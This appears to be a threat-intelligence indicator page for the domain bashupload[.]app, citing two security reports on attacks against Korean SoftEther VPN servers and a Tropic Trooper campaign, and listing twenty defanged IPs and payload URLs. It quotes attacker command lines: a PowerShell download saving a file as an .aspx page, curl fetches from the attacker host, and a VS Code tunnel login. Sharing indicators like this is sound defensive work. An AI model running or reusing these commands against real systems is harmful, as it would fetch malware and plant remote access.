bashupload[.]appDomain
Reported by 2 independent sources · first reported by Zscaler ThreatLabz · last reported
Last reported 2 months ago
What the reports say
2 reports, newest first · the exact sentence from each-
Attack Cases for Domestic Web Servers Running SoftEther VPN in Korea“> PowerShell iwr -uri hxxp://bashupload[.]App/p62mh8.Bin -OutFile D:\*****\*****\403.Aspx”
-
Tropic Trooper Pivots to AdaptixC2 and Custom Beacon Listener“…Documents & code tunnel user login --provider github > z.txtcode tunnel user login --provider github > z.txtcurl -O hxxp://bashupload[.]app/6e1lhccurl -kJL hxxps://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64 -o %localappdata%\microsoft\windows\Bur…”
Indicators reported together
named in the same reports- ip[.]mein 1 report
- hxxp://64.176.55[.]16/Download/menu.Batin 1 report
- 64.176.55[.]16in 1 report
- hxxp://139.180.210[.]71/Download/m2.Batin 1 report
- 139.180.210[.]71in 1 report
- hxxp://45.76.144[.]150/Download/m2.Batin 1 report
- 45.76.144[.]150in 1 report
- hxxp://139.180.210[.]71/Download/us320250823.Cab%E2%80%9Din 1 report
- proxy[.]cabin 1 report
- hxxp://64.176.55[.]16/Download/us31231131.Cab%E2%80%9Din 1 report
- hxxp://64.176.55[.]16/Download/vmtoolsd.Se2%E2%80%9Din 1 report
- hxxp://sendit[.]sh/Ebhcz/hamcore.Se2in 1 report
- hxxp://sendit[.]sh/LLXkB/dUHxy.Configin 1 report
- hxxp://69.48.229[.]196:8080/Download/server.Config.Hrxin 1 report
- 69.48.229[.]196in 1 report
- hxxp://69.48.229[.]196:8080/Download/core.Imgin 1 report
- hxxp://45.76.144[.]150/Download/us3202508234.Cab%E2%80%9Din 1 report
- hxxp://69.48.229[.]54:8080/1/Vmtoolsd.Exein 1 report
- 69.48.229[.]54in 1 report
- hxxp://69.48.229[.]54:8080/1/2.Configin 1 report
Copy these 20 indicators · defanged
Thanks — we review every report.